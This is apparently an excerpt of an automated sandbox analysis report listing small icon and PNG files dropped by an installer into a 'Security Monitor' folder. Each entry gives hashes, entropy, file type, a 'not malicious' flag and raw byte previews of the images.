Reputation:	unknown
Preview:	.PNG........IHDR................a....sRGB.........gAMA......a.....pHYs...........~.....tEXtSoftware.paint.net 4.1.6.N......IDAT8Oc.......Ya..s...f......-;+,....l.. 9...Z....."..@...`.^...G.I..Az......&y....yI..q.,$..h...l..v..............n.H/.6...........vh.?,...4../..O..wQU....8..n..?....wYG.C...^....$.9......h<'(..M.(...N.g......U..i.9!..@z>.^.T...AI........3.5.........00...!s&...T....IEND.B`.

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\SNets\16x16\is-NHAEG.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp
File Type:	MS Windows icon resource - 1 icon, 16x16, 32 bits/pixel
Category:	dropped
Size (bytes):	1150
Entropy (8bit):	4.78558880583897
Encrypted:	false
SSDEEP:	12:KfbXxEm8sLBtLt08SHKdvaB8a+jzSCt/lgj5XTc64b6fNSuHwPqD7H:KfbhX8sL90rHKNaB8ayRYdjc64OpVb
MD5:	BD477227A18FED51A2C527EA4E32400B
SHA1:	6FC1F173245E77BDA386CE112D9A19502E5C0A92
SHA-256:	6569A42B81E6B02E8385CDF5EED48A3FBF3CB89101142723FAAEECDC9785D203
SHA-512:	20DC45444E3D2FF3C5C427C60A5B1C7941FFE74E79B9C156E033D53DCBB616AA2A0518AFC2CCFD7FAC4D95581AC2606DF81B7BACA7EA28AD875871949DD8229B
Malicious:	false
Reputation:	unknown
Preview:	............ .h.......(....... ..... ......................................................................................................fA..hB..kD..mE..oG..sI..tK..rI..lE..iC......................b?..................................fA.............._<.....d?..fA..hB..jC..e<.............d..d=.....b?..........]<.....c?..d@..fA..hB..b;.............c..b<.....a>..........[;.....a=..b>..d@..e@..`9.............a.._:.....`=..........Z:....._<..`=..b>..c?..Y4.............{\..Y5.....]<..........X9.....\;..]<.._<..a=..nN.............v..pQ.....[:..........V7.....X8..Y8..Y8..[:.............................W7..........S5.....eE..mL..sQ..wU.............................T5..........{[.....f..g..g..g..}Y................wS.....\|\..........j.....i..i..i..j..e........................i..........o.....o..o..o..o..o..k.....................n..............u.........................v......................{..{..{..{..{..{..{..

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\SNets\16x16\is-OETJM.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp
File Type:	MS Windows icon resource - 1 icon, 16x16, 32 bits/pixel
Category:	dropped
Size (bytes):	1150
Entropy (8bit):	4.007783593279535
Encrypted:	false
SSDEEP:	24:w66666666666BOOOOOOOOOOSXOOOOOOOOOOSXOOO2OOOSXOeKLOSRMlSkHdOOOO9:w66666666666P3O66666666666/Ojk
MD5:	887346B0A7F145675E44AB17E35F54FE
SHA1:	C22531915DF0528177698EA3AD39DB9A70EA6869
SHA-256:	BAC266365103ED4DDCA35A3B2398886E2090BBE53899DC809FA7DC9599654BC9
SHA-512:	7EEC4DAE36617AE74FA8A916ED16746FD97BBC742C05BBA3250904660D1C8E87989D39BCEEAE405016A95F22BE937EBDB789A22E42CD1088F0ABF623916679B8
Malicious:	false
Reputation:	unknown
Preview:	............ .h.......(....... ..... .........................................................................................................................................................U..6V..tV..tV..tV..tV..tV..tV..tV..tV..tV..tV..tV..tV..tV..tU..6V..........................................................Z..V..........................................................Z..V..........................................................Z..V..........................................................Z..V......................p...q...q...p.......................Z..V..............t...s...................u...s...............Z..V......z...p...................................q...w.......Z..T..j...................................................k...W..V..........................................................Z..V..........................................................Z..U..6V..tV..tV..tV..tV..tV..tV..tV..tV..tV..tV..tV..tV..tV..tU..6..........................................

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\SNets\16x16\is-OMTN8.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp
File Type:	MS Windows icon resource - 1 icon, 16x16, 32 bits/pixel
Category:	dropped
Size (bytes):	1150
Entropy (8bit):	5.462526568231166
Encrypted:	false
SSDEEP:	24:xDsK0GRS99Rss9RRgJw3Y8/atH9aVGS4pF8lY2GSVSSSSSaGR/X/f:lML9RYwottHQVGR8l9TVSSSSSaUvf
MD5:	EA31E69B4C099C0090A088937CE958D6
SHA1:	CC50F1927506BA8B94C17BFEBBA8D7B928C3A2E0
SHA-256:	3F5FDBA100DD35B0BB4DBBC216A6D0E555C11E3C4907871A1B641BAFCEF6AC99
SHA-512:	B3A62801B292D27F8614E8612399A13A1B66C15EE8ED7781A4DE87C05CE8530255A8F4BA993775810D8E4E1DA2647E58B57C3026BB0718294AA6E4C515E888D2
Malicious:	false
Reputation:	unknown
Preview:	............ .h.......(....... ..... ..........................D...C...A...A...A...@...@...@...@...@...@...A...A...A...C...D...E../r...e...c...b...`...^...`...`...^..._...a...c...e../r...E...G...k...V...U...T...M...J...K...L...J...L...R...U...V...k...G...I...m...Y...Y...X..........@{...`...........m...Y...Y...m...I...K...q..._..._...^...e..................$r...]..._..._...q...K...M...v...c...c...a...Z...d..........9z...X...^...b...c...v...M...N..!{...g...g...d..s.......................(w...e...g..!{...N...R..$....l...m...k..........R...P...w............l...l..$....R...S..'....q...r...p..#z..`...........z...&{...{...r...q..'....S...U..,....v...v...r..Y........................q...t...v..,....U...W..1....z...z...w...........r...r..........?....y...z..1....W...Y..6....}...}...{...........p...m..........E....}...}..6....Y...[..;...............l.......................%...........;....[...^..A...#..."...#...$...y...............,...#..."...#...A....^...`..[...G...D...E...F...F...F...F...F...F.

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\SNets\16x16\is-QFPIR.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp
File Type:	MS Windows icon resource - 1 icon, 16x16, 32 bits/pixel
Category:	dropped
Size (bytes):	1150
Entropy (8bit):	3.490442714261337
Encrypted:	false
SSDEEP:	24:hvTTTTTTTTTTTr6TTTTTTTTTTTTc2UTTATTTTTiTTFTTTTKTTTLTTUTTT5PTTVTp:NTTTTTTTTTTT2TTTTTTTTTTTTc2UTTAa
MD5:	3EFC7DC297E404B3905700EC7BAD9F52
SHA1:	51AA1918C57A97D0C0C60D7AE9C55356E6F6B8F9
SHA-256:	455B953BE12AFA28BF8823BBD0A8E2C1D7730878FBCBF7B1D3245D4FB5A09ACA
SHA-512:	29644DA8AB7596B0EF2849BF7BBED4B76478C38DCA6EE7E735D4CA9B4693F1978CF60A5909C8733A98CF5C14F088884FCFC0AED6C85C6109F7838729D18E98F9
Malicious:	false
Reputation:	unknown
Preview:	............ .h.......(....... ..... ................................................................................................................................................................B...{.....................................F.......d...........................................................d................................................................................................................................................................+,......................................................................$%..............................................................UU......................................................qq......................................................NO.........................................................................................................e...........................................................e.......G.......................................G..............................................

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\SNets\16x16\is-QIB2R.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp
File Type:	MS Windows icon resource - 1 icon, 16x16, 32 bits/pixel
Category:	dropped
Size (bytes):	1150
Entropy (8bit):	6.276060631735337
Encrypted:	false
SSDEEP:	24:MXjJ+Ja5yURg0WulL9rChz1XcXbQxX2rD4:kIJ4yURgLkprChzBcXbeXID4
MD5:	97B03F45DC3F2AA6B9908A842ED7A308
SHA1:	5C0489A30B7805DB94B9F60C53616A4CA8BCA5C4
SHA-256:	C08548C6A31E3C58F69B083ADAA3154C5957619E65F1FF910FDBB7F83B480183
SHA-512:	78130C2A02CF5E56103C42E3ADB35CA85DBB8A66259C895F7CEB987B1BC7B73932F54A2F28B4F065765C9B9264E088E57C5DEE70ABCC9B41D9DE6AEE90BE08A9
Malicious:	false
Reputation:	unknown
Preview:	............ .h.......(....... ..... .............................U="..b<.f>.f>.f>.f>.f>.f>.f>.f>.f>.f>.b<.U=".....W>"..wJ..tH..tH..tH..tH..tH..tH..tH..tH..tH..tH..tH..tH..wJ.W>"..g;.pD..pD..pD..pD..pD..pD..pD..pD..pD..pD..pD..pD..pD..pD..g;.i<.mA..mA..l@..l?..l@..mA..mA..m@..l?..l@..mA..l@..l?..l?..i<.g9.j>..j=..\|].......l..i<..j>..sQ.......]..i<..._.......y..f7.e7.g:..d4..............a2..g:..x^.......t..g<..........rJ..e6.c4.c6..a8..............tM..c6..x].......o...........y..a3..c4.a2._1...n......\|c..........^0..x[.................[,..`2..a2._/.X'.........]/.........`2..~c...............w..Y*..]..._/.[+.f?.........tL...........j...u..................._..c7..[+.yR.............a...g.......................a...........d..yR.i........u...r...o..........~..........r..............j.z.........................................................z...............................................................p[..............................

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\SNets\16x16\is-QPF5D.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp
File Type:	MS Windows icon resource - 1 icon, 16x16, 32 bits/pixel
Category:	dropped
Size (bytes):	1150
Entropy (8bit):	4.007783593279535
Encrypted:	false
SSDEEP:	24:w66666666666BOOOOOOOOOOSXOOOOOOOOOOSXOOO2OOOSXOeKLOSRMlSkHdOOOO9:w66666666666P3O66666666666/Ojk
MD5:	887346B0A7F145675E44AB17E35F54FE
SHA1:	C22531915DF0528177698EA3AD39DB9A70EA6869
SHA-256:	BAC266365103ED4DDCA35A3B2398886E2090BBE53899DC809FA7DC9599654BC9
SHA-512:	7EEC4DAE36617AE74FA8A916ED16746FD97BBC742C05BBA3250904660D1C8E87989D39BCEEAE405016A95F22BE937EBDB789A22E42CD1088F0ABF623916679B8
Malicious:	false
Reputation:	unknown
Preview:	............ .h.......(....... ..... .........................................................................................................................................................U..6V..tV..tV..tV..tV..tV..tV..tV..tV..tV..tV..tV..tV..tV..tU..6V..........................................................Z..V..........................................................Z..V..........................................................Z..V..........................................................Z..V......................p...q...q...p.......................Z..V..............t...s...................u...s...............Z..V......z...p...................................q...w.......Z..T..j...................................................k...W..V..........................................................Z..V..........................................................Z..U..6V..tV..tV..tV..tV..tV..tV..tV..tV..tV..tV..tV..tV..tV..tU..6..........................................

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\SNets\16x16\is-QQ1FV.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp
File Type:	MS Windows icon resource - 1 icon, 16x16, 32 bits/pixel
Category:	dropped
Size (bytes):	1150
Entropy (8bit):	4.007783593279535
Encrypted:	false
SSDEEP:	24:w66666666666BOOOOOOOOOOSXOOOOOOOOOOSXOOO2OOOSXOeKLOSRMlSkHdOOOO9:w66666666666P3O66666666666/Ojk
MD5:	887346B0A7F145675E44AB17E35F54FE
SHA1:	C22531915DF0528177698EA3AD39DB9A70EA6869
SHA-256:	BAC266365103ED4DDCA35A3B2398886E2090BBE53899DC809FA7DC9599654BC9
SHA-512:	7EEC4DAE36617AE74FA8A916ED16746FD97BBC742C05BBA3250904660D1C8E87989D39BCEEAE405016A95F22BE937EBDB789A22E42CD1088F0ABF623916679B8
Malicious:	false
Reputation:	unknown
Preview:	............ .h.......(....... ..... .........................................................................................................................................................U..6V..tV..tV..tV..tV..tV..tV..tV..tV..tV..tV..tV..tV..tV..tU..6V..........................................................Z..V..........................................................Z..V..........................................................Z..V..........................................................Z..V......................p...q...q...p.......................Z..V..............t...s...................u...s...............Z..V......z...p...................................q...w.......Z..T..j...................................................k...W..V..........................................................Z..V..........................................................Z..U..6V..tV..tV..tV..tV..tV..tV..tV..tV..tV..tV..tV..tV..tV..tU..6..........................................

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\SNets\16x16\is-RTOBR.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp
File Type:	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	781
Entropy (8bit):	7.651387048168162
Encrypted:	false
SSDEEP:	24:tfp9eW5Oon3iu7MTGS7ZN6tv1lyvv60hrTcdrU:j9eW5VSOwn4lwi0tGU
MD5:	4121D02B972D718C30E8B41023B894EE
SHA1:	751D347690F151AEAC02DD8C69A1F3D629D1DDD0
SHA-256:	807241CF72D7A2CC7DA63ADE8E22F6D1976E9B5D4B9CEC8479960EF4CE0CAD24
SHA-512:	FCDF69080406D542FA6A460C741BD53B4BC052D26EF930F61381CD05B73DCC1D8F13AE71A786E0C795BBE6889ED044D2CF9427CCC3E29CBF3BB7C97188E31BF0
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR................a....IDATx..MH.a.....[..'...m&......h...C...!.....T...%.(l........6...!Z7E.v%.e.u.gfwvg..P../<..........$.8.". ..W..#]..D.L...q..2"N.!.."ar.9V+.....>..++......Y{..Hk.5.av-./.C..x._..1....,...n7.... ......U..>-Ru....t=.-o...p...W...9z.......\...>....V...,P-..Icr"F,..s1l3<....PU.......J......h@../..R.Y}2........f..R`.....=.a.s.F..y.8e.......[.?..<.....JK.."..p...Y...!..H....L.A0.D.....sU..NQGS..(.xF....._y..S.p2N..w....p,.......=.T.^G....p.$.=w.b..4.~. ...FY5q...!z..N....7EG.r.Og.(.o..8....\..6."J......huh../sT..2%2$?.Y.".....b.y.x?.....=@..w..m.p..T..#..+@M.{...=j\|..-E.x.>@.....h...2.H.?.O......t..a.6.......k..n.5.L..3...8~^..%......G.....!......)..fCMMMWjjj.2aL...c.y....&G.......VA.:..I..........!......IEND.B`.

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\SNets\16x16\is-SO2F0.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp
File Type:	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	639
Entropy (8bit):	7.377780326372934
Encrypted:	false
SSDEEP:	12:6v/7VDc+Qow9oS1rka1r1gslVtbq7eH8MycqGcjnM1eyYHhLpPiX:fLow9frbxG4qecMCBjnMsyYHiX
MD5:	532021B5830C2239DEE3E8FF33229A0B
SHA1:	4C2280EF8547087BE905669B6F49AEEA4C19E2F5
SHA-256:	AA747B612FBFAC5FAC5866F83687D3683402387436E528C80D6E3B7C48EE770A
SHA-512:	90D8345469986460A788254EDADCBFB13F5C0FFF81F8CD9707C86A47E1DBA426A6318E5BA52ACFC381F81DB59CF10B04A894EF7FC5CBC950CE5B59FD001C5F88
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR................a... cHRM..z%..............u0...`..:....o._.F....pHYs...........~.....tEXtSoftware.paint.net 4.0.6..c.....IDAT8O.SKH.Q...i..U...J..J.]......tS....E....]..BW...B...?(RE.D4.[.A. .Db2..../.....L..{....X..*...."."w9...e.;.FD.!.Z~8h.;fw.!..J....<1.5......n..L.... ..1.....U..o.........Q.....U.....G.Pg?...m....P[..[EdC..g\|.~#.p.T.s...o/q1Z..B3..`..........C.K..X....Ym........aF...^.P....L.M..p2...Z..k.g....I....7...IC..P...:.Af.. ...-.P....am.3....~.k}H-.!9^.D.......Y[...?....{.w0W.k...O?...y....P+.5'....!........r..8..\|.0N.....z7yD.X+.%..T....+..-..!-jG.o..kn.)61......IEND.B`.

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\SNets\16x16\is-U64VL.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp
File Type:	MS Windows icon resource - 1 icon, 16x16, 32 bits/pixel
Category:	dropped
Size (bytes):	1150
Entropy (8bit):	4.007783593279535
Encrypted:	false
SSDEEP:	24:w66666666666BOOOOOOOOOOSXOOOOOOOOOOSXOOO2OOOSXOeKLOSRMlSkHdOOOO9:w66666666666P3O66666666666/Ojk
MD5:	887346B0A7F145675E44AB17E35F54FE
SHA1:	C22531915DF0528177698EA3AD39DB9A70EA6869
SHA-256:	BAC266365103ED4DDCA35A3B2398886E2090BBE53899DC809FA7DC9599654BC9
SHA-512:	7EEC4DAE36617AE74FA8A916ED16746FD97BBC742C05BBA3250904660D1C8E87989D39BCEEAE405016A95F22BE937EBDB789A22E42CD1088F0ABF623916679B8
Malicious:	false
Reputation:	unknown
Preview:	............ .h.......(....... ..... .........................................................................................................................................................U..6V..tV..tV..tV..tV..tV..tV..tV..tV..tV..tV..tV..tV..tV..tU..6V..........................................................Z..V..........................................................Z..V..........................................................Z..V..........................................................Z..V......................p...q...q...p.......................Z..V..............t...s...................u...s...............Z..V......z...p...................................q...w.......Z..T..j...................................................k...W..V..........................................................Z..V..........................................................Z..U..6V..tV..tV..tV..tV..tV..tV..tV..tV..tV..tV..tV..tV..tV..tU..6..........................................

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\SNets\16x16\is-V0TLT.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp
File Type:	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	776
Entropy (8bit):	7.739847313028713
Encrypted:	false
SSDEEP:	12:6v/7A0VGIMaJnGINOCUG1s1tdXBlkgV3qICi6aw5FDk+RA1xuw/bK11x8GRtnY1V:5IzGGO60BC/P5iohugnYiLjU
MD5:	F7412F52AFCDBFAA2520A462C99468FC
SHA1:	DE1BAD996FACA409432C84C0EE0724827C00D072
SHA-256:	13F249E23B22582CFC057954C4A040EBA5733E3FEEA3FC3DAB0F9EF584DE89A8
SHA-512:	FA1205996FF98BCA175F38AB210AF47E56DF29E580D8FA16CA6C30C9BF324D53847335149DCDB874178F7642D49AD24DFEC0C67B32F831E6999B9050FB7ECE64
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR................a....IDATx.S{H.Q.=....)Y....\|4..CmeZZ*....!dQ..J..J..aI..... %.LILK..0....SI..H3\|l.}[[O.........K.K.....s."#.DB...a...t........hAb\..h4NG.....7j..W.z.fK.3R.....emD4c%...0.....7?a.9.GY..g.......x..<.c..3@....#.......>}....X...v.j.W.$(.....]..(.lF..A..G..m.oU.UW/r..p..1^t..pj4.Y..x...=G...X'[..-..j.NW>.Z.Gdn.E.[..&....'+...@.uk..........Oqd....~r.).G....1.W.L.........@..(..g..![....P..eI...(...(Y....:...h(J.......j.7.......D..M`.....Zd.6B$...rD...K..e2.\....I8..ao..h....Y.\|.&... .t@X...u/q.........T,M......Q.%.Vs...!."....rw.GYC.Z.9...a#....G.l51D^..i..... .J?W.hF.>0......(..m=Z.hG.5O...........=%.P.H..-C..P..?.=V.#..~........M....2..T.?..D....._$....qg]....@$...d4.....[j2.....AF%.....IEND.B`.

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\SNets\16x16\is-V67H2.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp
File Type:	MS Windows icon resource - 1 icon, 16x16, 32 bits/pixel
Category:	dropped
Size (bytes):	1150
Entropy (8bit):	4.007783593279535
Encrypted:	false
SSDEEP:	24:w66666666666BOOOOOOOOOOSXOOOOOOOOOOSXOOO2OOOSXOeKLOSRMlSkHdOOOO9:w66666666666P3O66666666666/Ojk
MD5:	887346B0A7F145675E44AB17E35F54FE
SHA1:	C22531915DF0528177698EA3AD39DB9A70EA6869
SHA-256:	BAC266365103ED4DDCA35A3B2398886E2090BBE53899DC809FA7DC9599654BC9
SHA-512:	7EEC4DAE36617AE74FA8A916ED16746FD97BBC742C05BBA3250904660D1C8E87989D39BCEEAE405016A95F22BE937EBDB789A22E42CD1088F0ABF623916679B8
Malicious:	false
Reputation:	unknown
Preview:	............ .h.......(....... ..... .........................................................................................................................................................U..6V..tV..tV..tV..tV..tV..tV..tV..tV..tV..tV..tV..tV..tV..tU..6V..........................................................Z..V..........................................................Z..V..........................................................Z..V..........................................................Z..V......................p...q...q...p.......................Z..V..............t...s...................u...s...............Z..V......z...p...................................q...w.......Z..T..j...................................................k...W..V..........................................................Z..V..........................................................Z..U..6V..tV..tV..tV..tV..tV..tV..tV..tV..tV..tV..tV..tV..tV..tU..6..........................................

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\SNets\16x16\linkedin.ico (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp
File Type:	MS Windows icon resource - 1 icon, 16x16, 32 bits/pixel
Category:	dropped
Size (bytes):	1150
Entropy (8bit):	6.138741072579881
Encrypted:	false
SSDEEP:	24:+qqGcDzDzzrspvYD/teTclAZOPUzydT4l7Rx6IRzav29P9B66k:a/DzDPrsK/tegAZOPAku7H5zav2d9B6Z
MD5:	4BF5323641C8B9F667BE8A2530CB17C4
SHA1:	8824036ED659C4D0A23376329B397BB01632B9DB
SHA-256:	533DAA8DE562BB129564B41E2BBD734D74178E4CBB02B060A780A6C5DAE9D6B6
SHA-512:	E63C20BF94A9DE5D6344E56A3D6934B32D65D13201BA3326E70F1DC0AFA9475ED2BFA44EB829498AB80265DC1B3B5ADB0BE866F50F685276E5B1FD0E0AFF73FA
Malicious:	false
Reputation:	unknown
Preview:	............ .h.......(....... ..... ..........................q...y...x...x...x...x...w...x...x...x...w...x...x...x...x...r...\|...s...s...s...s...s...s...r...s...t...s...s...s...s...s...{...~...v...v...w...w...v...v...v...u...u...v...v...v...w...v...\|.......z....P..........z.............z...z............P..z...........}....X..........}.............}...}............W..}............!..^..........."............."...!..........]...!...........'..e...........'.............'...'..........d...'......."...-..k...........,.............-...J..........h...,...!...%...2..q...........2..............................K...3...%...)...7..w...........8...........................6...8..........=...7...)...)...>...0......0...7...@...=...9...>...=.......2...C..[...........B...C...C...D...C...D...C...C...C...C...3...8...I..p...........I...I...J...I...J...J...J...I...J...J...6...;...O...L..`...R...O...N...N...N...O...O...O...O...N...O...:...=..U...T..U..U...T...T..U..U..T...

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\SNets\16x16\linkedin.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp
File Type:	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	699
Entropy (8bit):	7.652754071132357
Encrypted:	false
SSDEEP:	12:6v/7WaWgISPVxzQYiM4U3qwAwJms1184FTquLwsObH6yk2CrJ61:rnuzKMf3pXmg/FDoZkd61
MD5:	6A1DE861212D48E1899DF21E458C1542
SHA1:	02A81BF8ADE97DAC769CD1DBA84A207431E077CF
SHA-256:	052EE2A81A293DC611CE88300798DBA2B2E7B0CD924C099CB9B6B8C3D4B354D1
SHA-512:	6EEC1E50166CBCB04C7A53AC7A94CC0133788FABC4E2B781F076B69DF3B906BDC07A4CB99CBF02F2E0B5F273DD3152DBDF2405BA78EDFD694034B7CA9545B458
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR................a....IDATx.e.Kh.Q...;.I&.T..M.v..q.(.}(b[......"...V.Rm.......BD..ji...m......TteC...M2y\.....y....g.a..'..+.~.10.q.._0._.Yy..m>.d-.(.V..d`".6........u.w..).....\|...$3Y.,;...%..H'.....iXWS.k.7!.....S"......ds.g..q`.{Tx....l..D.]/..AV..[....5\...T......r.Kh#W..B...pi...\.CS...2..W^..a..:...(.;B..t4....J*..W+\|.oc.7..B.%.........(.L...FDh.f.......EM.....8........+I.....C...n...._.?..../.....~t...q..6.....E.b..j...7#8M......p1.^.G.u.k.._.=E.cu.a.S7...E..[Q..h&.....E?.'0\..@....a.0."..M....m..c..........8.&.s.1.h .R.;.6..}w"8A.&......J..........`840w.#..3..X.V:y.>[.Y......J.3o..2Yn.5.esHC...;~.@.5.....K{.;`A.......".........IEND.B`.

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\SNets\16x16\mail.ico (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp
File Type:	MS Windows icon resource - 1 icon, 16x16, 32 bits/pixel
Category:	dropped
Size (bytes):	1150
Entropy (8bit):	4.007783593279535
Encrypted:	false
SSDEEP:	24:w66666666666BOOOOOOOOOOSXOOOOOOOOOOSXOOO2OOOSXOeKLOSRMlSkHdOOOO9:w66666666666P3O66666666666/Ojk
MD5:	887346B0A7F145675E44AB17E35F54FE
SHA1:	C22531915DF0528177698EA3AD39DB9A70EA6869
SHA-256:	BAC266365103ED4DDCA35A3B2398886E2090BBE53899DC809FA7DC9599654BC9
SHA-512:	7EEC4DAE36617AE74FA8A916ED16746FD97BBC742C05BBA3250904660D1C8E87989D39BCEEAE405016A95F22BE937EBDB789A22E42CD1088F0ABF623916679B8
Malicious:	false
Reputation:	unknown
Preview:	............ .h.......(....... ..... .........................................................................................................................................................U..6V..tV..tV..tV..tV..tV..tV..tV..tV..tV..tV..tV..tV..tV..tU..6V..........................................................Z..V..........................................................Z..V..........................................................Z..V..........................................................Z..V......................p...q...q...p.......................Z..V..............t...s...................u...s...............Z..V......z...p...................................q...w.......Z..T..j...................................................k...W..V..........................................................Z..V..........................................................Z..U..6V..tV..tV..tV..tV..tV..tV..tV..tV..tV..tV..tV..tV..tV..tU..6..........................................

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\SNets\16x16\mail.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp
File Type:	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	284
Entropy (8bit):	6.999082250525666
Encrypted:	false
SSDEEP:	6:6v/lhPLzGx5AzGCL2yyI+9G1TWruJHixcusmPuAU/iCSS1zbuaVVp:6v/7DyeL2/Gor8HixWmkSEt7
MD5:	08D991D399E657EA3A81DA798D204DD8
SHA1:	8B8161A39DA344A96DCC40F8722D7C2BDAEE05D3
SHA-256:	0DC9ECD2BB9B3A9E95D45B431B050CB3B32D7D1913CAEE21223193F6D6DFA4C2
SHA-512:	C2CDCA46638E013B0196DA608FEC94846E006817852556BAD6702CC7A2798E93C3E6BC3678450C55C9C89590AF2BDE12C3032D449CCE7A3B5FF637987936000B
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR................a....IDAT8..R...p...U.....\..rvt.6-".c...am.....!q.j.sPJ.0..;....#..P......7T.....#.1l..G.wc.T}YB%F8.R........Yv.zu?..........].....ag.v..d.v.X..].0..l'....e..f..5.."}.....Za.. ,S\|.......,t...p.d.{...]..u..U.D._....!9...q...W9].......IEND.B`.

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\SNets\16x16\messagerie.orange.fr.ico (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp
File Type:	MS Windows icon resource - 1 icon, 16x16, 32 bits/pixel
Category:	dropped
Size (bytes):	1150
Entropy (8bit):	4.007783593279535
Encrypted:	false
SSDEEP:	24:w66666666666BOOOOOOOOOOSXOOOOOOOOOOSXOOO2OOOSXOeKLOSRMlSkHdOOOO9:w66666666666P3O66666666666/Ojk
MD5:	887346B0A7F145675E44AB17E35F54FE
SHA1:	C22531915DF0528177698EA3AD39DB9A70EA6869
SHA-256:	BAC266365103ED4DDCA35A3B2398886E2090BBE53899DC809FA7DC9599654BC9
SHA-512:	7EEC4DAE36617AE74FA8A916ED16746FD97BBC742C05BBA3250904660D1C8E87989D39BCEEAE405016A95F22BE937EBDB789A22E42CD1088F0ABF623916679B8
Malicious:	false
Reputation:	unknown
Preview:	............ .h.......(....... ..... .........................................................................................................................................................U..6V..tV..tV..tV..tV..tV..tV..tV..tV..tV..tV..tV..tV..tV..tU..6V..........................................................Z..V..........................................................Z..V..........................................................Z..V..........................................................Z..V......................p...q...q...p.......................Z..V..............t...s...................u...s...............Z..V......z...p...................................q...w.......Z..T..j...................................................k...W..V..........................................................Z..V..........................................................Z..U..6V..tV..tV..tV..tV..tV..tV..tV..tV..tV..tV..tV..tV..tV..tU..6..........................................

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\SNets\16x16\messagerie.orange.fr.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp
File Type:	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	284
Entropy (8bit):	6.999082250525666
Encrypted:	false
SSDEEP:	6:6v/lhPLzGx5AzGCL2yyI+9G1TWruJHixcusmPuAU/iCSS1zbuaVVp:6v/7DyeL2/Gor8HixWmkSEt7
MD5:	08D991D399E657EA3A81DA798D204DD8
SHA1:	8B8161A39DA344A96DCC40F8722D7C2BDAEE05D3
SHA-256:	0DC9ECD2BB9B3A9E95D45B431B050CB3B32D7D1913CAEE21223193F6D6DFA4C2
SHA-512:	C2CDCA46638E013B0196DA608FEC94846E006817852556BAD6702CC7A2798E93C3E6BC3678450C55C9C89590AF2BDE12C3032D449CCE7A3B5FF637987936000B
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR................a....IDAT8..R...p...U.....\..rvt.6-".c...am.....!q.j.sPJ.0..;....#..P......7T.....#.1l..G.wc.T}YB%F8.R........Yv.zu?..........].....ag.v..d.v.X..].0..l'....e..f..5.."}.....Za.. ,S\|.......,t...p.d.{...]..u..U.D._....!9...q...W9].......IEND.B`.

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\SNets\16x16\my.screenname.aol.com.ico (copy)

Download File

